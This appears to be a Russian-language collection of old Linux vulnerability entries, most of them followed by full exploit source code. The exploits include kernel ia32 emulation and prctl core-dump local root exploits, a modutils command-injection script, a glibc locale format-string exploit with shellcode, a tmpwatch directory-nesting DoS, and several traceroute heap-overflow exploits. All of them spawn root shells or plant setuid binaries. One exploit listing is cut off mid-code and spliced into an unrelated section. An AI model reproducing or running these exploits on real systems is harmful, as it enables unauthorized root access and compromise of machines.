Повышение привилегий в 64-битных версиях Linux (privilege escalation)

Затронутые продукты:
LINUX : kernel 2.4
LINUX : kernel 2.6

Недостаточная проверка прав модификации регистра в эмуляции 32-битных системных вызовов.

Код:
/*
 * exploit for x86_64 linux kernel ia32syscall emulation
 * bug, discovered by Wojciech Purczynski <cliph_at_isec.pl>
 *
 * by
 * Robert Swiecki <robert_at_swiecki.net>
 * Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
 * Pawel Pisarczyk <pawel_at_immos.com.pl>
 * of ATM-Lab http://www.atm-lab.pl
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>

uint32_t uid, euid, suid;

static void kernelmodecode(void)
{
        int i;
        uint8_t *gs;
        uint32_t *ptr;

        asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs));

        for (i = 200; i < 1000; i+=1) {

                ptr = (uint32_t*) (gs + i);

                if ((ptr[0] == uid) && (ptr[1] == euid)
                        && (ptr[2] == suid) && (ptr[3] == uid)) {
                        ptr[0] = 0; //UID
                        ptr[1] = 0; //EUID
                        ptr[2] = 0; //SUID

                        break;
                }
        }

}

static void docall(uint64_t *ptr, uint64_t size)
{
        getresuid(&uid, &euid, &suid);

        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) 
{
                printf("mmap fault\n");
                exit(1);
        }

        for (; ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", 0);
        printf("no /bin/sh ??\n");
        exit(0);
}

int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;

        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }

        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", 0);
                perror("exec fault");
                exit(1);
        }

        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }

        for (;;) {
                if (wait(&status) != pid)
                        continue;

                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }

                if (!WIFSTOPPED(status))
                        continue;

                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                }

                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                }

                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }

                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }

        return 0;
}


Многочисленные ошибки в ядре Linux (multiple bugs)

Затронутые продукты:
LINUX : kernel 2.4
LINUX : kernel 2.6

Кратковременные условия приводят к возможности перезаписи областей памяти ядра в uselib(). Целочисленные переполнения в многочисленных драйверах (random poolsize, scsi ioctl, moxa). Обход защиты RLIMIT_MEMLOCK. DoS через mlockall. Повышение привилегий из-за кратковременных условий, возникающих при обработке страничного сбоя на многопроцессорных системах.

binfmt_elf uselib VMA insert race vulnerability


Повышение привилегий через coredump-файлы в Linux (privilege escalation)

Затронутые продукты:
LINUX : kernel 2.6

За счет установки rlimit процесс может создать coredump-файл в любом каталоге.

Код:
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}


Переполнение стекового буфера в sendmsg()

Затронутые продукты:
LINUX : kernel 2.6

Переполнение стекового буфера в sendmsg(), доступ к памяти ядра через raw_sendmsg(), DoS через ipt_recent, многочисленные DoS-условия через fput() на 64-битных платформах с 32-битной эмуляцией, DoS USB Request Block, доступ к критичной информации через DRM, доступ к памяти ядра через драйвера Orinoco, доступ к терминалам других пользователей, кратковременные условия в ip_vs_conn_flush, утечка памяти в AUDITSYSCALL.

Код:
/*
 * RIP Linux procs :-)
 *
 *      gcc -O2 -fomit-frame-pointer bigrip.c -o bigrip
 *
 *      Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *      THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 *      AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *      WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */


#define SPINME 30


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>
#include <fcntl.h>

#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/syscall.h>

#include <linux/net.h>

#include <asm/page.h>


#define str(s) #s
#define xstr(s) str(s)

#define TASK_SIZE   0xc0000000

#define __NR_sys_munmap  __NR_munmap
#define __NR_sys_socketcall __NR_socketcall
#define __NR_sys_write  __NR_write
#define __NR_sys_read  __NR_read
#define __NR_sys_kill  __NR_kill
#define __NR_sys_time  __NR_time
#define __NR_sys_fcntl  __NR_fcntl
#define __NR_sys_fork  __NR_fork
#define __NR_sys_close  __NR_close
#define __NR_sys_exit  __NR_exit
#define __NR_sys_pause  __NR_pause
#define __NR_sys_pipe  __NR_pipe
#define __NR_sys_getppid __NR_getppid
#define __NR_sys_getpid  __NR_getpid


#define ESPTOP  (( ((unsigned)&rip_code_end) & ~(PAGE_SIZE-1) ) + 
PAGE_SIZE)
#define errno  ( * (int*) (ESPTOP-4) )
#define sigcnt  ( * (int*) (ESPTOP-8) )


static void rip_code_end(void);


// code start
static void rip_code(void)
{

}


_syscall3(int, sys_fcntl, unsigned int, fd, unsigned int, cmd, unsigned 
long, arg);
_syscall3(int, sys_write, int, a, void*, b, int, l);
_syscall3(int, sys_read, int, a, void*, b, int, l);

_syscall2(int, sys_socketcall, int, c, int *, a);
_syscall2(int, sys_munmap, ulong, a, ulong, b);
_syscall2(int, sys_kill, int, c, int, a);

_syscall1(int, sys_time, void*, t);
_syscall1(int, sys_pipe, int*, t);
_syscall1(int, sys_close, int, c);
_syscall1(int, sys_exit,
 
[ Обзор уязвимостей SuSe Linux ]

Сайт разработчика: www.suse.com

Дырка в modutils

Затронутые продукты:
SuSE Linux 6.4
SuSE Linux 7.0

Неконтролируемый ввод пользователя позволяет вызов внешней программы.

Код:
#!/bin/sh

echo
echo "RedHat 7.0 modutils exploit"
echo "(c) 2000 Michal Zalewski <lcamtuf@ids.pl>"
echo "Bug discovery: Sebastian Krahmer <krahmer@cs.uni-potsdam.de>"
echo
echo "Do not have to work on older / non-RH systems. This bug has been"
echo "introduced recently. Enjoy :)"
echo
echo "This exploit is really hackish, because slashes are not allowed in"
echo "modprobe parameters, thus we have to play in modprobe's cwd (/)."
echo

PING=/bin/ping6
test -u $PING || PING=/bin/ping

if [ ! -u $PING ]; then
  echo "Sorry, no setuid ping."
  exit 0
fi

echo "Phase 1: making / world-writable..."

$PING -I ';chmod o+w .' 195.117.3.59 &>/dev/null

sleep 1

echo "Phase 2: compiling helper application in /..."

cat >/x.c <<_eof_
main() {
  setuid(0); seteuid(0);
  system("chmod 755 /;rm -f /x; rm -f /x.c");
  execl("/bin/bash","bash","-i",0);
}
_eof_

gcc /x.c -o /x
chmod 755 /x

echo "Phase 3: chown+chmod on our helper application..."

$PING -I ';chown 0 x' 195.117.3.59 &>/dev/null
sleep 1
$PING -I ';chmod +s x' 195.117.3.59 &>/dev/null
sleep 1

if [ ! -u /x ]; then
  echo "Apparently, this is not exploitable on this system :("
  exit 1
fi

echo "Voila! Entering rootshell..."

/x

echo "Thank you."


Серьезная уязвимость через locale в glibc

Затронутые продукты:
SuSE Linux 6.4
SuSE Linux 7.0

Функции работы с locale позволяют пользователям создавать пользовательские отображения строк, при этом не проверяется наличие форматных символов. Функции locale используются многими suid-приложениями. В некоторых случаях проблема становится удаленной из-за некорректной обработки переменных окружения.

Код:
/* exploit for glibc/locale format strings bug.
 * Tested in RedHat 6.2 with kernel 2.2.16.
 * Script kiddies: you should modify this code
 * slightly by yourself. :)
 *
 * Greets: Solar Designer, Jouko Pynnvnen , zenith parsec
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/9/6
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define DEFAULT_OFFSET                  550
#define DEFAULT_ALIGNMENT                 2
#define DEFAULT_RETLOC           0xbfffd2ff
#define DEFAULT_BUFFER_SIZE            2048
#define DEFAULT_EGG_SIZE               1024
#define NOP                            0x90
#define PATH             "/tmp/LC_MESSAGES"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}


 main(int argc, char *argv[]) {
  char *buff, *buff1, *ptr, *egg;
  char *env[3];
  long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
  int i,reth,retl,num=113;
  FILE *fp;

  if (argc > 1) sscanf(argv[1],"%x",&retloc);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) num = atoi(argv[3]);
  if (argc > 4) align = atoi(argv[4]);
  if (argc > 5) bsize   = atoi(argv[5]);
  if (argc > 6) eggsize = atoi(argv[6]);



  printf("Usages: %s <RETloc> <offset> <num> <align> <buffsize> <eggsize> \n",argv[0]);

  if (!(buff = malloc(eggsize))) {
       printf("Can't allocate memory.\n");
       exit(0);
    }


  if (!(buff1 = malloc(bsize))) {
       printf("Can't allocate memory.\n");
       exit(0);
    }

  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

    printf("Using RET location address: 0x%x\n", retloc);
    shell_addr = get_esp() + offset;
    printf("Using Shellcode address: 0x%x\n", shell_addr);

    reth = (shell_addr >> 16) & 0xffff;
    retl = (shell_addr >>  0) & 0xffff;

    ptr = buff;

    for (i = 0; i <2; i++, retloc+=2 ){
       memset(ptr,'A',4);
       ptr += 4;
       (*ptr++) =  retloc & 0xff;
       (*ptr++) = (retloc >> 8  ) & 0xff;
       (*ptr++) = (retloc >> 16 ) & 0xff;
       (*ptr++) = (retloc >> 24 ) & 0xff;
      }

     memset(ptr,'A',align);

     ptr = buff1;

     for(i = 0; i < num; i++ )
     {
        memcpy(ptr, "%.8x", 4);
        ptr += 4;
     }

     sprintf(ptr, "%%%uc%%hn%%%uc%%hn",(retl - num*8),
              (0x10000 + reth - retl));


    mkdir(PATH,0755);
    chdir(PATH);
    fp = fopen("libc.po", "w+");
    fprintf(fp,"msgid \"%%s: invalid option -- %%c\\n\"\n");
    fprintf(fp,"msgstr \"%s\\n\"", buff1);
    fclose(fp);
    system("/usr/bin/msgfmt libc.po -o libc.mo");


    ptr = egg;
    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
      *(ptr++) = NOP;

    for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

    egg[eggsize - 1] = '\0';

    memcpy(egg, "EGG=", 4);
    env[0] = egg;
    env[1] = "LANGUAGE=sk_SK/../../../../../../tmp";
    env[2] = (char *)0;

    execle("/bin/su","su","-u", buff, NULL,env);

}  /* end of main */


Дырка в kcsd под Linux

Затронутые продукты:
SuSE Linux 6.4

kcsd использует внешний shell определяемый переменной SHELL, которая задается пользователем. Таким образом, подменив SHELL можно получить привелегии группы disk, позволяющие менять разрешения любых файлов.

kcsd Linux local root exploit


Пользователь может удалить файлы в SuSE Linux

Затронутые продукты:
SuSE Linux 6.0

При автоматическом удалении временных файлов (MAX_DAYS_IN_TMP > 0) некорректно обрабатывается пробел в имени файла, что позволяет пользователю инициировать удаление любого системного файла.

Код:
mkdir -p "/tmp/foo vmlinux"
touch -t old-date "/tmp/foo vmlinux"


[ Обзор уязвимостей Mandrake Linux ]

Атаки через tmpwatch

Затронутые продукты:
Mandrake Linux 6.0
Mandrake Linux 6.1
Mandrake Linux 7.0
Mandrake Linux 7.1

При удалении каталога tmpwatch запускает отдельный процесс на каждый уровень вложенности. Это позволяет вызвать остановку системы, создав временную директорию с большим уровенм вложенности. Кроме того, при вызове внешнего приложения не проверяются shell-символы в имени файла.

Код:
// 
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
 int c=0,d=0;
 if (argc!=2) 
 {
  while(!chdir("./A"))c++;
  chdir("..");
  printf("c=%d  removing\n",c);
  while(!rmdir("./A")) {chdir("..");c--;}
  if(c)printf("erm. bad thing.\n");
 }
 else
 {
  c=atoi(argv[1]);
  printf("c=%d  making.\n",c);
  while(c--)
  {
   mkdir("./A",0777);
   chdir("./A");
  } 
 }
}


Дырка в traceroute

Затронутые продукты:
MANDRAKE : Mandrake Linux 7.0
MANDRAKE : Mandrake Linux 7.1
MANDRAKE : Mandrake Linux 6.0
MANDRAKE : Mandrake Linux 6.1

Используется функция free() с невыделенным фрагментом памяти. Потенциально это позволяет переписать часть данных в стеке процесса.

linux traceroute exploit

Код:
/*
        argv0: at first it looks that this doesn't matter but since
             this is the value found at the top of the stack and thus
             it's length matter for the location of the shellcode.

        argv0: bs

      argv1: nothing is needed for this it should just contain
             6 bytes and a 0 (and off course it should be acceptable
             to inet_addr)
        argv1: only specific length
               addr1 will become: 4 bytes from addr2 + zeros
             length so that p->size = last byte + 3 zeros
             p->prev_size = first 3 bytes + 00
             thus: 6 bytes + 0
             p data:
             size = 0x20 or so;
             prev_size = ((char *)p) - ((char *) eleet stack pointer)
             p = addr2 - 7 - 8

             so next data should be on addr2 + 0x20 - 7 - 8
      argv2: this requires much more thought, the ip_address should be
             so that p->prev_size and p->size make sense.
             p->prev_size should be so that prev can be found on the
             stack since that's an easy place to put it, p->size should
             be 0x20 or so so that we can put the next chunk in this
             argument too.
        argv2: ip addres so that: p->size makes sure next is
               somewhere in argv2
                p->prev_size should point to eleet data on stack (through
                environment)
                spacing: next data:
                        prev_size = 0x41414141;
                        size = 0xfffffff0
                        fd = some_random_pointer (or you could use him)
                        bk = some_random_pointer
                after that: data for next (prev_size + size + fd + bk)
                prev_size probably negative
      argv3: contains the chunk used for prev and the shellcode
             including the jmp.
        argv3: eleet data on stack + eleet shellcode baby
             eleet data:
             prev_size = BS;
             size = BS
             fd = &ret_addr_change - 12
             bk = shellcode;
             shellcode = jmp forward + nops + code
*/

#include <stdio.h>

/*
easy shellcode - remember there is a certain trick in this baby like
not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the
code itself so make sure there is something worthwhile in /tmp/sh
 */
char shellcode[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O=";

/*
 code to jump forward
 */
char jmp_forward[] = "\xeb\x0c";

/*
 again the stupid make_addr function;)
 */
void make_addr(char *res, unsigned int val)
{
        int i;
        char *p = (char *) &val;

        for (i = 0; i < 4; i++)
                res[i] = (char) *p++;
        res[i] = '\0';
}

/*
 which argument number contains the leet_addr and the shellcode?
 */
#define LEETARG 7

int main(int argc, char *argv[])
{
        char addr1[1000];
        char addr2[1000];
        char padding[256];
        char execute_me[1000];
        int execute_shift = 0;
        /* next data: prev_size = crap, size=crap and fd and bk
           point to someplace innocent in the stack, if you want
           to you can use it to change a second memory place.
         */
        char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff"
                          "\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf";
        char *leet_data;
        /*
         The arguments to start traceroute with, -g separated from its
         argument because of getopt.
         */
        char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g",
                   addr2, "127.0.0.1", "12", execute_me, NULL};
        unsigned int leet_amount;
        /*
         This needs some explanation: since the prev chunk will be at
         a certain distance from p we need to know p since it changes
         from binary to binary we'll let the attacker figure it out
         and give it to us;).
         */
        unsigned int p = strtoul(argv[2], 0, 0);

        char shell_addr[5];
        char ret_addr[5];

        /* the first addr 6 bytes long */
        snprintf(addr1, sizeof(addr1), "1.2.11");

        /*
         First we fill execute_me (which will make the LEETARG) with
         0x41 thats both a NOP and easy to find on the stack.
         */
        memset(execute_me, 0x41, sizeof(execute_me));

        /*
         We put the shellcode and the jmp at the end of execute_me
         */
        strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1,
                jmp_forward, strlen(jmp_forward));
        strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1,
               shellcode);

        /*
         Calculate the address of the shell_code
         the stack at startup looks like:
         arg4 arg5 arg6 argLEETARG environment arg0 4 bytes
         since the environment is gone and LEETARG is the last argument
         we only need the length of the shellcode and the length of arg0
         */
        make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) -
                  (strlen(shellcode) +1 + 20));
        /*
         We also ask the attacker to give the address of the pointer to
         change to point to the shellcode. Something in the GOT is
         usually very nice
         */
        make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12);

        /*
         leet_data should be in 0xbfff fe00 + (p & 0xff)
         now we calculate the address where chunk_free() will look for
         prev chunk.
         We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00
         the precise position is defined by the lsb of p.
         */
        printf("p: 0x%08x\n", p);
        leet_data = (char *) (0xbffffe00 + ((int)p & 0xff));
        printf("leet_data: 0x%08x\n", leet_data);
        /*
         calculate the value of p->prev_size
         */
        leet_amount = p - (0xbffffe00 + ((int)p & 0xff));
        printf("leet_amount: 0x%08x\n", leet_amount);
        
        /* the end of execute_me will be on 0xc0000000 - 8
           length of execute_me should thus be:
           0xc0000000 - leet_data - 8
           2 possibilities: either don't put the fake prev chunk at the
           beginning of execute_me or change the length of execute_me
           we choose the latter.
         */
        execute_shift = sizeof(execute_me) -
          (0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1));
        printf("execute_shift: %d\n", execute_shift);

        arg[LEETARG] += execute_shift;

        /*
         use strcpy not snprintf since snprintf does 0 terminated its
         strings
         */
        strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8);
        strncpy(arg[LEETARG]+8, ret_addr, 4);
        strncpy(arg[LEETARG]+12, shell_addr, 4);

        printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]),
               strlen(arg[0]));
        printf("execute_me_addr: %08x\n", 0xc0000000 - 4 -
               strlen(arg[0]) - strlen(arg[LEETARG]) - 2);

        /*
         pad the second -g option to place next chunk on the expected
         position
         */
        memset(padding, ' ', sizeof(padding));

        /*
         0x20 - p->size
         - 7 because thats the size of addr1
         - 8 for p->size and p->prev_size
         - 12 for addr2 (xx.xx.xx.xx )
         */

        padding[0x20 - 7 - 8 - 12] =  '\0';
        printf("padding: %d bytes\n", strlen(padding));

        /*
         put hex equivalent of leet amount in ip_address
         */
        snprintf(addr2, sizeof(addr2),
                 "0x%02x.0x%02x.0x%02x.0x%02x%s%s",
                 ((unsigned char *) &leet_amount)[1],   
                 ((unsigned char *) &leet_amount)[2],   
                 ((unsigned char *) &leet_amount)[3],   
                 0x20,
                 padding, next_data);
        /*
         This time it should work;)
         */
        printf("Going for root!!!\n");
        execve(arg[0], arg, NULL);
}

linux traceroute exploit (Perry)

Код:
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char code[] =
   "\xeb\x34"              /* jmp    GETADDR         */
   "\x90\x90\x90\x90"      /* nop nop nop nop        */
   "\x90\x90\x90\x90"      /* nop nop nop nop        */
   "\x90\x90\x90\x90"      /* nop nop nop nop        */
   "\x90\x90\x90\x90"      /* nop nop nop nop        */
                           /* RUNPROG:               */
   "\x5e"                  /* popl   %esi            */
   "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
   "\x31\xc0"              /* xorl   %eax,%eax       */
   "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
   "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
   "\xfe\x06"              /* incb   (%esi)          */
   "\xfe\x46\x04"          /* incb   0x4(%esi)       */
   "\xb0\x0b"              /* movb   $0xb,%al        */
   "\x89\xf3"              /* movl   %esi,%ebx       */
   "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
   "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
   "\xcd\x80"              /* int    $0x80           */
   "\x31\xdb"              /* xorl   %ebx,%ebx       */
   "\x89\xd8"              /* movl   %ebx,%eax       */
   "\x40"                  /* incl   %eax            */
   "\xcd\x80"              /* int    $0x80           */
                           /* GETADDR:               */
   "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG         */
   ".bin.sh";              /* Program to run .XXX.XX */

extern void *__malloc_hook;

typedef struct glue {
        int     a;
        int     b;
        void    *p;
        void    *q;
} glue;

void print_hex(char *p)
{
        char    *q;

        q=p;

        while(*q) {
                if (*q > 32 && *q < 127) {
                        printf("%c",*q);
                } else {
                        printf(" ");
                }
                q++;
        }
}

int main(void)
{
        int     ipa=0x2E312E31;
        int     ipb=0x20312E31;
        int     oh=0x00000000;
        int     dummy=0x43434343;
        void    *mh=(void **)__malloc_hook;
        void    *usage=(void *)0x804a858;
/*      void    *us=(void *)0x804cd80;*/
        void    *us=(void *)0x804cd7a;
        char    buf[260];
        char    whocares[4096];
        char    *prog="/tmp/traceroute";
        glue    temp;
        FILE    *out;

        printf ("malloc_hook %x code %x\n",mh, usage);

        memset(buf, 0x47,256);
        buf[255]='\0';

        printf ("buf: %s\n", buf);
        temp.a=ipa;
        temp.b=ipb;
        temp.p=mh;
        temp.q=us+16;

        memcpy(buf, (void *)&temp,16);
        printf ("buf: %s\n", buf);

        temp.p=(void *)oh;
        temp.q=(void *)oh;
        temp.a=dummy;
/*      temp.b=dummy;*/
        temp.b=0xFFFFFF01;

        printf("code(%d)\n", sizeof(code));
        strncpy(buf+16, code, sizeof(code) -1);
        memcpy(buf+240, (void *)&temp, 0x10);
        printf ("buf: %s\n", buf);
        buf[255]='\0';
        
        out=fopen("/tmp/code","w");
        fputs(buf,out);
        fclose(out);
        printf("%s\n",whocares);

        execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL);

        return 0;
}

Local root exploit in LBNL traceroute

Код:
/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * traceroot.c - Local root exploit in LBNL traceroute
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/traceroot/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

#define i386_linux \
        /* setuid( 0 ); */ \
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
        /* setgid( 0 ); */ \
        "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
        /* Aleph One :) */ \
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
        "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define sparc_linux \
        /* setuid( 0 ); */ \
        "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \
        /* setgid( 0 ); */ \
        "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \
        /* Aleph One :) */ \
        "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \
        "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \
        "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10"

struct arch {
        char *          description;
        char *          filename;
        unsigned int    stack;
        char *          hell;
        char *          code;
        unsigned int    p;
        unsigned int    __free_hook;
};

struct arch archlist[] = {
        {
                "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386",
                "/usr/sbin/traceroute",
                0xc0000000 - 4,
                "\xeb\x0aXXYYYYZZZ",
                i386_linux,
                0x0804ce38,
                0x400f1cd8
        },
        {
                "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc",
                "/usr/sbin/traceroute",
                0xf0000000 - 8,
                "\x10\x80",
                "\x03\x01XXXYYYY" sparc_linux,
                0x00025598,
                0x70152c34
        }
};

void usage( char * string )
{
        int i;

        fprintf( stderr, "Usage: %s architecture\n", string );
        fprintf( stderr, "Available architectures:\n" );
        for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) {
                fprintf( stderr, "%i: %s\n", i, archlist[i].description );
        }
}

int main( int argc, char * argv[] )
{
        char            gateway[1337];
        char            host[1337];
        char            hell[1337];
        char            code[1337];
        char *          execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code,
NULL };
        int             i;
        struct arch *   arch;
        unsigned int    hellcode;
        unsigned int    size;

        if ( argc != 2 ) {
                usage( argv[0] );
                return( -1 );
        }
        i = atoi( argv[1] );
        if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) {
                usage( argv[0] );
                return( -1 );
        }
        arch = &( archlist[i] );

        execve_argv[0] = arch->filename;

        strcpy( code, arch->code );
        strcpy( hell, arch->hell );
        hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) -
(strlen(hell) + 1);
        for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) {
                strcat( code, "X" );
        }
        hellcode = hellcode & ~3;

        strcpy( host, "AAAABBBBCCCCDDDDEEEEXXX" );
        ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
        ((unsigned int *)host)[2] = 0xffffffff;
        ((unsigned int *)host)[3] = arch->__free_hook - 12;
        ((unsigned int *)host)[4] = hellcode;

        size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4);
        size = size | PREV_INUSE;
        sprintf(
                gateway,
                "0x%02x.0x%02x.0x%02x.0x%02x",
                ((unsigned char *)(&size))[0],
                ((unsigned char *)(&size))[1],
                ((unsigned char *)(&size))[2],
                ((unsigned char *)(&size))[3]
        );

        execve( execve_argv[0], execve_argv, NULL );

        return( -1 );
}


Дырка в LPRng и lpr.

Затронутые продукты:
